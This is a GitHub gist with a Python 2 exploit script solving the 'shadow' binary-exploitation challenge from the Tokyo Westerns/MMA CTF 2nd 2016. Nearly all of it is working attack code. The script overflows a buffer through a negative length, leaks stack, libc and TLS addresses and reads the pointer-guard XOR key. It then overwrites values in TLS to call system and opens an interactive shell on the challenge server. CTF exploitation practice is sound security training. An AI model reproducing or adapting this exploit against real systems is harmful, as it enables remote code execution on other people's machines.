Created
September 7, 2016 08:23
-
-
Save akiym/8aeb8b03d9212ac4d1f3592a55c52723 to your computer and use it in GitHub Desktop.
shadow - Tokyo Westerns / MMA CTF 2nd 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack('<I', x) | |
u = lambda x: struct.unpack('<I', x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = '' | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = '' | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def process(cmd): | |
import subprocess | |
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = 'pwn2.chal.ctf.westerns.tokyo' | |
port = 18294 | |
offset = { | |
'__libc_start_main': 0x19a00, | |
'system': 0x40310, | |
'/bin/sh': 0x16084c, # str | |
} | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
offset = { | |
'__libc_start_main': 0x19990, | |
'system': 0x40190, | |
'/bin/sh': 0x160a24, # str | |
} | |
s = connect(host, port) | |
bss = 0x804a020+0x300 | |
def change_name(change=True): | |
recvuntil(': ') | |
s.send('y' if change else 'n') | |
recvuntil('Input name : ') | |
s.send('N' * 16) | |
recvuntil('Message length : ') | |
s.send('-1\n') | |
recvuntil('Input message : ') | |
s.send('A' * 44) | |
recvuntil('A' * 44) | |
buf = u(recvn(4)) - 0x4c | |
print 'buf : %x' % buf | |
change_name(False) | |
recvuntil('Message length : ') | |
s.send('-1\n') | |
recvuntil('Input message : ') | |
payload = ( | |
'A' * 52 + | |
p(bss) + # name | |
p(0x1000) + # name_length | |
p(100) + # times | |
'' | |
) | |
s.send(payload) | |
change_name(False) | |
def read_address(addr): | |
recvuntil('Message length : ') | |
s.send('-1\n') | |
recvuntil('Input message : ') | |
s.send('A' * 52 + p(addr)) | |
change_name(False) | |
recvuntil('Message length : ') | |
s.send('-1\n') | |
recvuntil('Input message : ') | |
s.send('A') | |
recvuntil(') <') | |
res = u(recvn(4)) | |
change_name(False) | |
return res | |
libc = read_address(buf+0x7c) | |
if REMOTE: | |
libc -= 0x19a83 + 0x70 | |
else: | |
libc -= 0x19a83 | |
print 'libc : %x' % libc | |
tls = read_address(buf-0x454) | |
print 'tls : %x' % tls | |
xor_key = read_address(tls+0x18) | |
print 'xor_key : %x' % xor_key | |
def write_address(addr, value): | |
recvuntil('Message length : ') | |
s.send('-1\n') | |
recvuntil('Input message : ') | |
s.send('A' * 52 + p(addr)) | |
change_name() | |
recvuntil('Input name : ') | |
s.send(value) | |
leaveret = 0x80485e8 | |
payload = ( | |
p(bss+4 ^ xor_key) + | |
p(leaveret ^ xor_key) + | |
p(libc + offset['system']) + | |
p(0xdeadbeef) + | |
p(0x8048313) + # ed | |
'' | |
) | |
write_address(bss, payload) | |
write_address(tls+0x20, p(bss)) | |
s.send('!sh\n') | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment